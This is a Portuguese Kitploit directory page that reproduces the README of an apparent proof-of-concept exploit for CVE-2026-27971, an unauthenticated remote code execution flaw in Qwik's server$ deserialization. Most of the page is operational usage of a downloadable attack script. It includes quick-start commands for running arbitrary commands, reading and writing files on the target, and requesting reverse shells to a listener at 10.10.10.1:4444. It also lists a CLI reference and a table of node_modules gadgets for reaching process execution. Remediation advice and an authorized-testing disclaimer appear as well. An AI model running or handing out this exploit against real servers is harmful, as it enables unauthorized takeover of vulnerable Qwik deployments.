Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-27971_POC — CVE-2026-27971 qwik rce | Kitploit
Ferramentas/GitHubGitHub/ghalendar/cve-2026-27971_poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleRed TeamingFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubghalendar/cve-2026-27971_poc

CVE-2026-27971_POC

CVE-2026-27971 qwik rce

Ver Repositório
há 29 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-27971 — PoC de RCE sem autenticação no Qwik server$

[!WARNING] Este repositório contém uma prova de conceito ativa de execução remota de código. Utilize-a apenas em sistemas que você possua ou para os quais tenha autorização explícita para testar. O autor não se responsabiliza por uso não autorizado ou danos.

Uma prova de conceito independente em Python para CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, uma vulnerabilidade de execução remota de código não autenticada no mecanismo de desserialização RPC server$ do Qwik.

O PoC pode realizar uma sondagem ativa por marcador, executar comandos, ler ou gravar arquivos de texto e solicitar um reverse shell em alvos Linux ou Windows. Ele utiliza apenas a biblioteca padrão do Python.

Resumo da vulnerabilidade

CampoValor
ProdutoQwik — pacote npm @builder.io/qwik
Versões afetadas<= 1.19.0
Versão corrigida1.19.1
VulnerabilidadeExecução remota de código não autenticada por meio da desserialização insegura do server$
Condição de runtimerequire() deve estar disponível em tempo de execução
CWECWE-502 — Desserialização de Dados Não Confiáveis
GravidadeCrítica — CVSS 4.0: 9.2
VetorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Uma solicitação application/qwik-json malformada pode referenciar um módulo do lado do servidor e um símbolo exportado. Versões vulneráveis do Qwik podem resolver um QRL não registrado por meio do require() em tempo de execução e invocá-lo sem autenticação. Este PoC tenta alcançar uma exportação compatível de execução de processo já presente no node_modules do alvo.

Requisitos

Operador:

  • Python 3.
  • Acesso de rede à rota exata do Qwik que processa a solicitação server$/Qwik JSON.
  • Um listener acessível a partir do alvo ao testar a funcionalidade de reverse shell.

Alvo:

  • Uma implantação vulnerável do Qwik usando @builder.io/qwik <= 1.19.0.
  • Um runtime em que require() esteja disponível.
  • Um módulo gadget compatível e uma exportação acessíveis em node_modules.
  • node disponível no PATH do processo do serviço.
  • Permissões suficientes da conta de serviço para o comando ou a operação de arquivo solicitada.

Nenhum pacote Python de terceiros é necessário.

Início rápido

root@kitploit:~
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

Liste os gadgets integrados sem enviar uma solicitação:

root@kitploit:~
python3 exploit_combat.py --list-gadgets

Execute uma sondagem ativa por marcador e experimente todos os gadgets integrados:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe não é detecção passiva de versão. Ele tenta executar código remotamente e confirma isso imprimindo um marcador do processo do alvo.

Exemplos de uso

Execute um comando:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

Leia um arquivo de texto UTF-8:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

Grave e verifique um arquivo de texto UTF-8:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

Solicite um reverse shell após iniciar um listener persistente:

root@kitploit:~
nc -lvnp 4444
root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

Force o payload de reverse shell do Windows quando a detecção automática do SO for inadequada:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

O script não inicia um listener. A verificação prévia de --callback abre e fecha uma conexão TCP separada antes de enviar o payload do shell; portanto, use um listener que possa aceitar mais de uma conexão.

Referência da CLI

Os modos de ação não são mutuamente exclusivos no parser. Use um de --probe, --CMD, --read, --write ou --lhost por invocação.

Gadgets integrados

--gadget auto testa esses gadgets na ordem listada. Um gadget personalizado pode ser fornecido da seguinte forma:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

Limitações importantes

  • Uma sondagem negativa não é prova de que o alvo foi corrigido. Ela pode indicar uma rota incorreta, um gadget ausente ou incompatível, um erro de rede/TLS, filtragem ou um layout de implantação diferente.
  • O gadget padrão é cross-spawn.sync, e não a descoberta automática. Use --gadget auto quando o layout de dependências do alvo for desconhecido.
  • A ferramenta não tem opções para cookies, cabeçalhos de autorização, proxies ou cabeçalhos personalizados arbitrários.
  • As operações de arquivo são orientadas a texto. --read espera UTF-8 e --write não se destina a dados binários.
  • Os caminhos relativos são resolvidos a partir do diretório de trabalho do processo Qwik. Todas as operações são executadas com as permissões da conta de serviço do Qwik.
  • As mensagens de sucesso do reverse shell indicam que a solicitação HTTP do exploit foi aceita; elas não provam que um callback foi recebido.
  • --rev-all pode iniciar vários processos ou callbacks no alvo. Use-o apenas em um laboratório isolado.
  • Os códigos de saída do processo refletem principalmente o tratamento da sondagem e do transporte, não o status de saída do comando remoto nem a presença de um shell funcional.
  • A ferramenta não identifica a versão do Qwik instalada e não deve ser usada como substituto do inventário de dependências.

Remediação

Atualize @builder.io/qwik para 1.19.1 ou posterior, atualize o lockfile, recompile o aplicativo e reimplante todos os artefatos do servidor. Remover um gadget compatível por si só não é uma correção completa para a vulnerabilidade subjacente do Qwik.

Referências

  • Aviso de segurança do Qwik — GHSA-p9x5-jp3h-96mm
  • Banco de dados de advisories do GitHub — CVE-2026-27971
  • Lançamento corrigido do Qwik 1.19.1
  • Commit da correção upstream
  • Registro CVE
  • Entrada NVD

Aviso legal

Este projeto é fornecido para pesquisa de segurança, validação defensiva e testes autorizados. Não o utilize contra sistemas sem permissão explícita.

Baixar ferramenta
OpçãoDescrição
-t URL, --target URLURL exata do alvo. Padrão: http://localhost:3000. A rota não é descoberta automaticamente.
--probeExecutar ativamente um payload de marcador e tentar a detecção do SO.
-c CMD, --CMD CMDExecutar um comando por meio de child_process.execSync() do Node.js.
--read PATHLer um arquivo de texto UTF-8 usando fs.readFileSync().
--write PATH --content TEXTGravar um arquivo de texto, lê-lo novamente e comparar o resultado. Os diretórios pais não são criados.
--list-gadgetsImprimir os nomes dos gadgets integrados e sair sem uma solicitação de rede.
--lhost IPAtivar o modo reverse shell e definir o endereço de callback.
--lport PORTDefinir a porta de callback. Padrão: 4444.
--rev-allEnviar todas as variantes de reverse shell em vez de parar após a primeira solicitação HTTP aceita.
--callbackTestar a acessibilidade TCP de saída antes de enviar um payload de reverse shell.
--OS {auto,linux,windows}Selecionar a família de payloads de reverse shell. Padrão: auto.
--gadget SPECUsar auto, um nome integrado ou um gadget personalizado <module>#<symbol>. Padrão: cross-spawn.sync.
--arg-style {argv,command,shell}Estilo de argumento para um gadget personalizado <module>#<symbol>.
--timeout SECONDSTempo limite HTTP do lado do cliente. Padrão: 30.
--verify-sslAtivar a verificação de certificado TLS e nome de host. A verificação fica desabilitada por padrão.
NomeMódulo e exportaçãoEstilo
cross-spawn.sync./node_modules/cross-spawn/index#syncargv
cross-spawn.index-js./node_modules/cross-spawn/index.js#syncargv
execa.sync./node_modules/execa/index#syncargv
execa.index-js.sync./node_modules/execa/index.js#syncargv
execa.commandSync./node_modules/execa/index#commandSynccommand
execa.index-js.commandSync./node_modules/execa/index.js#commandSynccommand
node-cmd.runSync./node_modules/node-cmd/cmd#runSyncshell
node-cmd.cmd-js.runSync./node_modules/node-cmd/cmd.js#runSyncshell